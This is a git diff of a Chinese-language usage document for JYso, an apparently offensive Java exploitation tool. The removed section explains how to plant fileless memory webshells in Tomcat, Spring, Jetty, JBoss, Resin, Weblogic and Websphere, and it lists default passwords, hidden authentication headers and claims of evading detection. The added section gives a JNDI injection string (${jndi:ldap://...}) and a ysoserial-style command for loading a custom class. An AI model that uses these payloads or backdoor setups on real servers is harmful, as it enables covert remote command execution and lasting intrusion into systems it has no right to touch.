diff --git a/5、Java-Mem-Shell.md b/5、Java-Mem-Shell.md index b1c365f..a818f15 100644 --- a/5、Java-Mem-Shell.md +++ b/5、Java-Mem-Shell.md @@ -1,118 +1,15 @@ -# 使用参数 +# 注意 -内存马: - -- 命令 `EX-MS-SpringInterceptorMS-...`:向系统内植入 Spring 拦截器类型的内存马 -- 命令 `EX-MS-SpringControllerMS-...`:向系统内植入 Spring Controller 类型的内存马 -- 命令 `EX-MS-SpringWebfluxMS-...`:向系统内植入 Spring WebFilter 类型的内存马(仅支持 gz 及 cmd) -- 命令 `EX-MS-TFMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Tomcat Filter 型内存马 -- 命令 `EX-MS-TFMSFromRequest-...`:通过在线程组中找 Request 向系统内植入 Tomcat Filter 型内存马 -- 命令 `EX-MS-TFMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Filter 型内存马 -- 命令 `EX-MS-TLMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Listener 型内存马 -- 命令 `EX-MS-TSMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Tomcat Servlet 型内存马 -- 命令 `EX-MS-TSMSFromRequest-...`:通过在线程组中找 Request 向系统内植入 Tomcat Servlet 型内存马 -- 命令 `EX-MS-TSMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Servlet 型内存马 -- 命令 `EX-MS-JBFMSFromContext-...`:通过全局上下文向系统内植入 JBoss/Wildfly Filter 型内存马 -- 命令 `EX-MS-JBSMSFromContext-...`:通过全局上下文向系统内植入 JBoss/Wildfly Servlet 型内存马 -- 命令 `EX-MS-JFMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Jetty Filter 型内存马 -- 命令 `EX-MS-JSMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Jetty Servlet 型内存马 -- 命令 `EX-MS-RFMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Resin Filter 型内存马 -- 命令 `EX-MS-RSMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Resin Servlet 型内存马 -- 命令 `EX-MS-WSFMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Websphere Filter 型内存马 -- 命令 `EX-MS-RMIBindTemplate-...`:RMI 型内存马 -- 命令 ```cmsMSBYNC```: 绕过Nginx、CDN代理限制的 WebSocket 马,路径`/x` -- 命令 ```proxyMSBYNC```: 绕过Nginx、CDN代理限制的 WebSocket 马,路径`/x` -- 命令 ```WsResin```: 适配 Resin 的 WebSocket 马,请求头中`Upgrade: websocket` -- 命令 ```MsTSJser```: 适配Tomcat、Spring、Jetty的 WebSocket 马,路径`/cmd` -- 命令 ```MsTSJproxy```: 适配Tomcat、Spring、Jetty的 WebSocket 马,路径`/proxy` -- 命令 ```WsWeblogic```: 适配 Weblogic 的 WebSocket 马,路径`/path` -- 命令 ```WSWebsphereProxy```: 适配 Websphere 的 WebSocket 马,路径`/path` - -# 用法示例 - -+ JNDI-Injection-Exploit 用法: -+ shell后可以加额外参数,需要base64编码,参数具体看1.5 -``` -ldap://127.0.0.1:1389/[Controller]/[M-EX-MS-MemShellClass-...]/shell/base64params -``` - -+ ysoserial -``` -java -jar JYso-[version].jar -y -g [Gadget] -p "[EX-MS-MemShellClass]" -``` +原回显类模块已被删除,可通过别的工具生成class文件,或者自定义自己的回显类来调用 # 使用说明 -对于植入的内存马及恶意逻辑,首先为了隐藏内存马,通过逻辑进行了判断,需要在请求 Header 中添加 `Referer: https://QI4L.cn/ `,其次执行不同的逻辑: -这个校验的 header 头部和值可以通过 `-hk "Referer" -hv "https://QI4L.cn/"` 来进行自定义指定。 +``` +${jndi:ldap://127.0.0.1:1389/ELProcessor/M-LF-~/.JYso/Echo.class} +``` -1. 如果是 **CMD** 内存马,程序会从 `X-Token-Data` 中读取待执行的命令,并将执行结果进行回显,这个头部可以通过 `-ch "testecho"` 来指定。 - - ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20240529163056.png) - -2. 如果是 **冰蝎** Shell 内存马,可使用冰蝎客户端进行连接管理,密码 `p@ssw0rd`, 可以通过 `-pw "1qaz@WSX"` 来指定。 - - ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20240530103348.png) - -3. 如果是 **哥斯拉** shell 内存马,可使用哥斯拉客户端进行连接管理,pass 值设为 `p@ssw0rd`,key 设为 `key`,哥斯拉内存马同时支持了 RAW 和 Base64,可以通过 `-pw "1qaz@WSX" -gzk "evilkey"` 来指定。 - - ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20240529182352.png) - -4. 如果是 **suo5** 内存马,则会直接创建一个 suo5 隧道,可以直接由 suo5 客户端进行连接,suo5 目前对支持了对自定义 Header 头部进行鉴权,生成时可以通过参数 `-hk "User-Agent" -hv "aaaawww"` 指定,如下可正常连接: - - ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20240530113940.png) - - 在配置中进行配置。 - - ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20240530113948.png) - - 项目地址:[https://github.com/zema1/suo5](https://github.com/zema1/suo5),此项目还在积极更新中,会不定期更新相关代码支持相关功能。 - -5. 如果是 **WebSocket** 内存马,可使用 WebSocket 客户端进行链接,路径为 `/version.txt`,可以使用 `-u "/aaa"` 来指定。 - -6. 如果是 **Tomcat Executor** 内存马,程序会从 Header 中的 `X-Token-Data` 中读取待执行的命令,并将执行结果在 Header `Server-token` 进行 Base64encode 回显,可以使用 `-ch "testecho"` 来指定。 - -7. 如果是 **Tomcat Upgrade** 内存马,需要指定 `Connection: Upgrade` 以及 `Upgrade: version.txt`,程序会从 Header 中的 `X-Token-Data` 中读取待执行的命令,并将结果放回 response 中回显,可以使用 `-u "/aaa" -ch "testecho"` 来指定。 - -# 类型指定 - -目前支持的直打内存马的类型包括 Tomcat、Jetty、JBoss/Wildfly、Websphere、Resin、Spring。 - -并可以通过关键字指定内存马的类型,如冰蝎内存马、哥斯拉 Base64 内存马、哥斯拉 RAW 内存马、CMD 命令回显马等,使用方法例子如下: - -- `EX-MS-TSMSFromThread-bx`:`冰蝎` 逻辑内存马 -- `EX-MS-TSMSFromThread-gz`:`哥斯拉` Base64 逻辑内存马 -- `EX-MS-TSMSFromThread-gzraw`:`哥斯拉` RAW 逻辑内存马 -- `EX-MS-TSMSFromThread-cmd`:`CMD` 命令回显内存马 -- `EX-MS-TSMSFromThread-suo5`:`suo5` suo5 隧道马 - -另外还本项目目前支持了 Tocmat WebSocket、Upgrade 以及 Executor 命令执行内存马,暂未扩展成多种类型(因为相关工具不支持,需魔改),使用方法例子如下: - -- `EX-MS-TWSMSFromThread` : `CMD` 命令回显 WebSocket 内存马 -- `EX-MS-TEXMSFromThread` : `CMD` 命令回显 Executor 内存马 -- `EX-MS-TUGMSFromJMX` : `CMD` 命令回显 Upgrade 内存马 - -对于一些非常规的环境,本项目还提供了基于 Java 原生的 RMI 内存马及命令回显方式,通过向 RMI 注册中心绑定一个恶意类,可以随时调用执行命令并回显,使用方法例子如下: - -- `EX-MS-RMIBindTemplate-1100-qi4l`: `CMD` 命令回显 RMI 内存马 - -无文件落地的 Agent 型内存马,通过修改系统关键类字节码,植入内存马,无任何文件落地,全程在内存操作,能绕过多种防护和检测,使用方式 `EX-Agent-Lin/Win-Filter/Servlet-bx/gzraw/gz/cmd`,目前区分 Win/Lin 操作系统,并支持了 Servlet、Tomcat Filter 型内存马,将会持续更新一些 Hook 点,使用方式例如: - -- `EX-Agent-Lin-Filter-bx`:在 Linux 系统上对 Tomcat Filter 修改类字节码的冰蝎 Agent 型内存马 - -本工具支持的全部内存马经过测试可用,但实际受到中间件版本的限制。 - -# RMI Mem Shell - -对于 RMIBindTemplate -是在目标服务器上的指定端口启动注册中心(如果没有),并向其中绑定恶意的后门类,配合 `com.qi4l.jndi.exploit.RMIBindExploit` -进行命令执行 - -# 解决 Shiro Header 头部过长问题 - -- 命令 `EX-DefineClassFromParameter`:从 request 中获取指定参数的值进行类加载 - -在 shiro 等环境下,直接打内存马会出现 header 太长的问题,需要进行一个中转 -从 Parameter 默认为 "dc" 中取字符进行 base64 decode,然后进行类加载,参考 ShiroAttack2 - -这个方法也可以用于加载别处生成的内存马 \ No newline at end of file ++ ysoserial +LF- 后面指定class的绝对路径或相对路径即可 +``` +java -jar JYso-[version].jar -y -g [Gadget] -p "LF-~/.JYso/Echo.class" +``` \ No newline at end of file